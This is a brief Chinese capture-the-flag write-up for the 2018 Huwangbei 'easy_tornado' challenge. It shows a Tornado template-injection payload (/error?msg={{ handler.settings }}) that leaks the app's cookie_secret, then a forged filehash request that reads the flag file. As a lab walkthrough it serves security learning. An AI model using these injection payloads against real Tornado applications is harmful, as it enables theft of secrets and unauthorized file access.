[护网杯 2018]easy_tornado
一、Hints
md5(cookie_secret+md5(filename))
猜测:需要先获取cookie_secret然后进行文件包含读取flag
二、寻找突破点
发现存在SSTI注入:/error?msg=Error{{ 2 }}
三、获取配置信息
/error?msg=ERR{{ handler.settings }}
得到
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '845cffd2-9954-45ad-8984-ab83ed9b325a'}
四、Get flag
通过 cookie_secret 生成 filehash,读取 flag
Payload:
/file?filename=/fllllllllllllag&filehash=cac2fcdeb62b85584b49474f9a4f0c6b
最后更新于
这有帮助吗?